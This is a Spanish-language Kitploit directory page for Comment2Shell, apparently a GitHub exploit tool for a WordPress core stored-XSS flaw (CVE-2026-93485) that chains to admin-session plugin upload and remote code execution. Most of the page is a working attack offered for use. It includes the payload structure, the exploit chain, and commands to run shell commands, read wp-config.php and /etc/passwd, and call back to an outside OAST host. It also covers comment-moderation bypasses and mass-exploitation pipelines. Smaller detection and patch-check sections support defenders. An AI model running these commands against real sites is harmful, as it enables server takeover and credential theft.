Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Comment2Shell — Cadena de explotación zero-click pre-auth de WordPress CVE-2026-93485: XSS almacenado en wpautop() escala a la carga de un plugin mediante sesión de administrador y un webshell autoeliminable, con escáner, shell y plantilla de Nuclei. | Kitploit
Herramientas/GitHubGitHub/deathshotxd/comment2shell
Escáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónVirtualización de SeguridadSeguridad WebPruebas de PenetraciónRed TeamingDesarrollo de PayloadsLabs y Práctica
GitHub
11hace 14h 18mAún no revisado
deathshotxd/comment2shell

Comment2Shell

Cadena de explotación zero-click pre-auth de WordPress CVE-2026-93485: XSS almacenado en wpautop() escala a la carga de un plugin mediante sesión de administrador y un webshell autoeliminable, con escáner, shell y plantilla de Nuclei.

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Comment2Shell

Comment2Shell es una prueba de concepto de extremo a extremo para CVE-2026-93485, un XSS almacenado preautenticación en el núcleo de WordPress wpautop() que escala a ejecución remota de código dentro de una sesión de administrador. Un comentario anónimo planta el payload; cuando un admin abre la entrada, el navegador sube un plugin webshell, ejecuta un comando y borra el shell de nuevo. Toda la cadena es un único archivo Python sin dependencias.

Comment2Shell logo

CVE-2026-93485, CVSS 7.1 HIGH, pre-auth, zero-click, fixed in 7.1.1

Animated terminal: the exploit chain end to end


¿Qué es Comment2Shell?

Comment2Shell es un exploit y un kit de laboratorio local para CVE-2026-93485. El fallo vive en wp-includes/formatting.php, en el filtro de párrafos wpautop() que se ejecuta en tiempo de visualización sobre el texto de los comentarios. Un salto de línea dentro de un atributo se convierte en un marcador de posición de comentario HTML; la regex que envuelve los blockquotes se detiene en el primer e inyecta una etiqueta de párrafo en medio del atributo, que el navegador luego interpreta como un manejador . El atributo lo dispara sin clic.

blockquote cite
>
onfocus
autofocus

La herramienta cubre toda la cadena: un escaneo pasivo de versión, una sonda XSS benigna, el exploit completo de preautenticación a RCE, un shell interactivo, y una comprobación defensiva de IOC.


El exploit no necesita cuenta, ni nonce, ni interacción más allá de que el admin vea la entrada. Solo hay que tener los comentarios abiertos.


Comment2Shell - CVE-2026-93485

Por qué esto importa

WordPress mueve una gran parte de la web y wpautop() es código del núcleo, así que el filtro vulnerable se distribuye en cada instalación afectada independientemente del tema o plugin. El XSS es almacenado, preautenticación y sin clic. Debido a que se ejecuta en la sesión del admin, es más que un fallo de desfiguración: la cookie del admin es suficiente para instalar un plugin, e instalar un plugin es ejecución arbitraria de código.

El parche se distribuyó en WordPress 7.1.1 con backports en 25 ramas, hasta 4.7.36. Todas las versiones desde 4.7.0 hasta 7.1.0 están afectadas.

Demo


Comment2Shell demonstration


Ejecución en laboratorio controlado contra WordPress 7.1.0: un comentario anónimo planta el payload, el admin al abrir la entrada dispara la cadena sin clic, el webshell se sube, la salida del comando regresa, y el shell se borra a sí mismo. El título de la pestaña del navegador informa el resultado, ya sea Comment2Shell: shell uploaded o Comment2Shell: admin login required. Consulta docker/README.md para el procedimiento exacto.

Contribución de investigación

Comment2Shell no reclama el descubrimiento del fallo. Fue reportado por Rafie Muhammad (Awesome Motive) a través del programa de WordPress en HackerOne y corregido en 7.1.1. La contribución aquí es una implementación reproducible y sin dependencias de la cadena completa:

  • las condiciones del filtro en tiempo de visualización que permiten que el payload sobreviva a KSES
  • un constructor de ZIP en el navegador para que la subida del plugin no necesite archivo externo
  • limpieza automática, donde el webshell se desvincula a sí mismo después del comando
  • artefactos de blue-team: una plantilla de nuclei, un script de IOC y consultas de logs

Flujo de ataque

Anonymous comment, wpautop bug, zero-click XSS, admin view, remote code execution


root@kitploit:~
1. Anonymous comment submission (no auth, no nonce)
   POST /wp-comments-post.php
   <blockquote cite="a\nb"><code>x" onfocus=... autofocus>
   KSES allows blockquote[cite] and code; the newline in cite survives.

2. Display-time filter chain (the bug)
   wpautop() at formatting.php:563:
     preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
   [^>]* stops at the > inside the <!-- wpnl --> comment,
   so a <p> gets injected inside the cite attribute.

3. wptexturize() seals the attribute (block themes)
   Outer " becomes &#8221; (curly quote).
   The " inside <code> stays straight (no-texturize list).
   The browser then parses onfocus/autofocus as real attributes.

4. Zero-click XSS in the admin session
   autofocus fires onfocus on page load, no click needed.
   JS runs with the admin cookies.

5. Admin session -> plugin upload -> RCE
   GET /wp-admin/plugin-install.php, extract the nonce.
   Build ZIP in memory, POST update.php?action=upload-plugin.
   Webshell lands at wp-content/plugins/<rand>/<rand>.php.
   GET /wp-content/plugins/<rand>/<rand>.php?c=id

Requisitos

  • Comentarios abiertos en una entrada publicada (por defecto)
  • Comentarios anónimos permitidos (por defecto, comment_registration=0)
  • Un tema de bloques activo (por defecto desde Twenty Twenty-Two)
  • Un admin que vea la entrada mientras está conectado
  • Python 3.8+ (solo biblioteca estándar)

Instalación

root@kitploit:~
git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help

Sin dependencias. Solo biblioteca estándar de Python 3.8+, sin pip install.

Uso

Escaneo pasivo de versión

root@kitploit:~
# Single target
python3 comment2shell.py --scan -t https://target.com

# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20

# From a pipeline
subfinder -d targets.txt | httpx -title | \
  grep -i wordpress | python3 comment2shell.py --scan --stdin

# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json

Sonda XSS activa

root@kitploit:~
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com

# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
  --callback https://your-id.oast.example

Cadena de exploit completa hasta ejecución de comandos

El payload del exploit dispara alert("Comment2Shell XSS - CVE-2026-93485") al cargar la página (sin clic mediante autofocus). Visualiza la entrada mientras estás conectado como admin. El título de la pestaña entonces muestra Comment2Shell: shell uploaded en caso de éxito, o Comment2Shell: admin login required si el navegador no tiene sesión de admin.

root@kitploit:~
# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"

# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"

# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60

# Keep the webshell after execution
python3 comment2shell.py -t https://target.com -c "id" --no-cleanup

# With an OAST callback
python3 comment2shell.py -t https://target.com \
  -c "cat /etc/passwd" \
  --callback https://your-id.oast.example

# Known-commenter approval bypass
python3 comment2shell.py -t https://target.com \
  -c "whoami" --known-commenter

# Through a proxy
python3 comment2shell.py -t https://target.com \
  -c "id" --proxy http://127.0.0.1:8080

La herramienta envía el comentario XSS, sondea la ruta del webshell generado cada 3s (hasta --wait segundos), ejecuta el comando una vez que el navegador del admin dispara la subida, y luego se autoborra el shell (?d=1 desvincula el archivo PHP y elimina el directorio del plugin) para que no quede persistencia. Pasa --no-cleanup para conservarlo, o --wait 0 para enviar solo el payload.

Shell interactivo

root@kitploit:~
# With a known shell path
python3 comment2shell.py --shell -t https://target.com \
  --shell-path ab12cd/ab12cd.php

# Run a single command on an existing shell
python3 comment2shell.py --exec -t https://target.com \
  --shell-path ab12cd/ab12cd.php -c "cat wp-config.php"

Comprobación de IOC

root@kitploit:~
python3 comment2shell.py --ioc -t https://target.com

Omisión de aprobación de comentarios

Los comentarios nuevos de comentaristas primerizos normalmente se retienen para moderación. La herramienta tiene tres rutas para evitarlo:

RutaMétodoFlag
Comentarista conocidoReutiliza el <[email protected]> por defecto de "A WordPress Commenter", que check_comment() autoaprueba--known-commenter
Moderación desactivadaSi comment_previously_approved=0, cualquier identidad se autoapruebapor defecto
Vista previa del autorUn comentarista previo ve los comentarios pendientes a través de la cookie ?unapproved=<id>&moderation-hash=<hash>automático

Según Patchstack: "la moderación no es un control de seguridad."

Laboratorio Docker

Levanta un WordPress 7.1.0 vulnerable para pruebas locales:

root@kitploit:~
cd docker
docker compose up -d
bash setup.sh
# Target: http://localhost:80  (host networking)
# Admin:  admin / Password123!
# Then:   python3 comment2shell.py -t http://localhost -c "id"

Cada ejecución envía un nuevo comentario payload. Solo el primer payload autofocus en la página se ejecuta, así que la herramienta detecta el payload activo y sondea su ruta; ejecuta bash clean.sh para limpiar comentarios antiguos entre ejecuciones.

Detección

IoC del lado del servidor

root@kitploit:~
# Suspicious comment submissions (newline in blockquote cite)
grep -rE 'blockquote.*cite=.*\n' /var/www/html/wp-content/ 2>/dev/null

# wp_comments table
mysql -e "SELECT comment_ID, comment_author, LEFT(comment_content,200) \
  FROM wp_comments WHERE comment_content LIKE '%blockquote%cite%\
  onfocus%' ORDER BY comment_date DESC;"

# Recently uploaded single-file plugins
find /var/www/html/wp-content/plugins/ -maxdepth 2 -name "*.php" \
  -newer /var/www/html/wp-config.php -not -path "*/akismet/*" \
  -not -path "*/hello*"

IoC de red

root@kitploit:~
# Unusual POST to wp-comments-post.php with blockquote + onfocus
http.request.uri == "/wp-comments-post.php" AND
http.request.body contains "blockquote" AND
http.request.body contains "onfocus" AND
http.request.body contains "autofocus"

# Single-file plugin uploads from non-admin IPs
http.request.uri == "/wp-admin/update.php" AND
http.request.body contains "pluginzip"

Plantilla de Nuclei

root@kitploit:~
nuclei -t nuclei/CVE-2026-93485.yaml -u https://target.com

Verificación del parche

root@kitploit:~
# Vulnerable (before 7.1.1):
grep -n 'blockquote(\[^>\]\*)' wp-includes/formatting.php
# Should show: |<p><blockquote([^>]*)>|

# Patched (7.1.1+):
grep -n 'blockquote((?:\[^>"'\'')' wp-includes/formatting.php
# Should show: !<p><blockquote((?:[^>"']|"[^"]*"|'[^']*')*)>

Ejemplos de pipeline

root@kitploit:~
# Find WordPress targets -> scan for CVE-2026-93485
subfinder -d program-scope.com -silent | \
  httpx -silent -title | \
  grep -i "wordpress" | \
  python3 comment2shell.py --scan --stdin --threads 20

# Mass exploit with OAST (authorized testing only)
cat vulnerable_targets.txt | \
  python3 comment2shell.py -t - -c "id" \
    --callback https://your-id.oast.example

# Save results as JSON
python3 comment2shell.py --scan -f all_targets.txt \
  --threads 30 -o scan_results.json --json

Detalles técnicos

Causa raíz

wp-includes/formatting.php:563 (vulnerable, antes de 7.1.1):

root@kitploit:~
// VULNERABLE: [^>]* stops at > inside HTML comment placeholder
$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );

// PATCHED (7.1.1): quote-aware subpattern
$text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );

Por qué KSES no lo detecta

El payload es HTML benigno en el momento de guardado. blockquote[cite] y code están en la lista de permitidos de comentarios (wp-includes/kses.php:605-633). El salto de línea no está en el mapa de caracteres de sintaxis de wp_kses_hair(). El exploit ocurre en tiempo de visualización, cuando los filtros de comment_text transforman el HTML almacenado.

Cadena de filtros de comment_text

root@kitploit:~
add_filter( 'comment_text', 'wptexturize' );       // seals the attribute
add_filter( 'comment_text', 'convert_chars' );
add_filter( 'comment_text', 'make_clickable', 9 );
add_filter( 'comment_text', 'force_balance_tags', 25 );
add_filter( 'comment_text', 'convert_smilies', 20 );
add_filter( 'comment_text', 'wpautop', 30 );        // THE BUG

Versiones afectadas

El parche se distribuyó en 7.1.1 en 25 ramas. Todas las versiones desde 4.7.0 hasta 7.1.0 están afectadas.

RamaVulnerable <=Corregida
7.17.1.07.1.1
7.07.0.47.0.5
6.96.9.76.9.8
6.86.8.86.8.9
6.76.7.76.7.8
6.66.6.76.6.8
6.56.5.106.5.11
6.46.4.106.4.11
6.36.3.106.3.11
6.26.2.116.2.12
6.16.1.126.1.13
6.06.0.146.0.15
5.95.9.165.9.17
5.85.8.155.8.16
5.75.7.175.7.18
5.65.6.195.6.20
5.55.5.205.5.21
5.45.4.215.4.22
5.35.3.235.3.24
5.25.2.265.2.27
5.15.1.245.1.25
5.05.0.275.0.28
4.94.9.314.9.32
4.84.8.304.8.31
4.74.7.354.7.36

Estructura del repositorio

root@kitploit:~
Comment2Shell/
|-- comment2shell.py      scan, probe, exploit, shell, IOC check
|-- README.md
|-- PLAN.md               weekly maintenance plan
|-- BROWSER_VALIDATION.md manual browser validation steps
|-- docker/               vulnerable WordPress 7.1.0 lab
|   |-- docker-compose.yml
|   |-- setup.sh
|   |-- clean.sh
|   +-- README.md
|-- nuclei/               detection template
|-- ioc/                  server-side IOC checker
|-- requests/             raw HTTP exploit templates
|-- assets/               banner, logo, demo, animated SVGs
|-- browser_validate.html
|-- xss_validate.html
|-- validate.sh
+-- LICENSE

Limitaciones

  • La ruta XSS depende de un tema de bloques (wptexturize sellando el atributo); los temas clásicos pueden no dispararlo.
  • El payload debe ser visible para el admin, así que se necesita autoaprobación o una identidad de comentarista ya aprobada.
  • El paso de RCE requiere que un admin realmente vea la entrada mientras está conectado; sin eso, solo se demuestra el XSS almacenado.
  • Solo el primer payload autofocus en una página se ejecuta. La herramienta detecta el payload activo, pero los comentarios payload obsoletos deben limpiarse con docker/clean.sh.
  • El laboratorio incluido es WordPress 7.1.0. Otras ramas comparten la regex vulnerable pero no todas fueron ejercitadas.

Referencias

  • CVE-2026-93485 - https://www.cve.org/CVERecord?id=CVE-2026-93485
  • GitHub advisory GHSA-qg7r-fjh2-wvx8 - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-qg7r-fjh2-wvx8
  • WordPress 7.1.1 release - https://wordpress.org/news/2026/09/wordpress-7-1-1-maintenance-and-security-release/
  • Researcher writeup - https://idnsec.com/research/comment2shell-zero-click-pre-auth-xss-to-rce-in-wordpress-core/
  • Patchstack analysis - https://patchstack.com/articles/wordpress-7-1-1-maintenance-and-security-release/
  • NVD - https://nvd.nist.gov/vuln/detail/CVE-2026-93485

Cronología

  • 2026-09-08 - reportado a través del programa de WordPress en HackerOne
  • 2026-09-15 - CVE solicitado a Patchstack
  • 2026-09-17 - corregido en WordPress 7.1.1
  • 2026-09-18 - CVE-2026-93485 asignado (CVSS 7.1)
  • 2026-09-21 - writeup del investigador publicado
  • 2026-09-22 - cobertura por THN, Orca y SiteGuarding
  • 2026-09-23 - esta herramienta publicada

Uso responsable

Este proyecto existe para pruebas de seguridad autorizadas y educación. Úsalo solo contra sistemas que poseas o tengas permiso escrito explícito para probar. El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de las jurisdicciones. Los autores no son responsables del mal uso o daño. Consulta LICENSE.

Autor

0xDeathShotX_X - github.com/DeathShotXD | @SyedWaj25802383

Descargar herramienta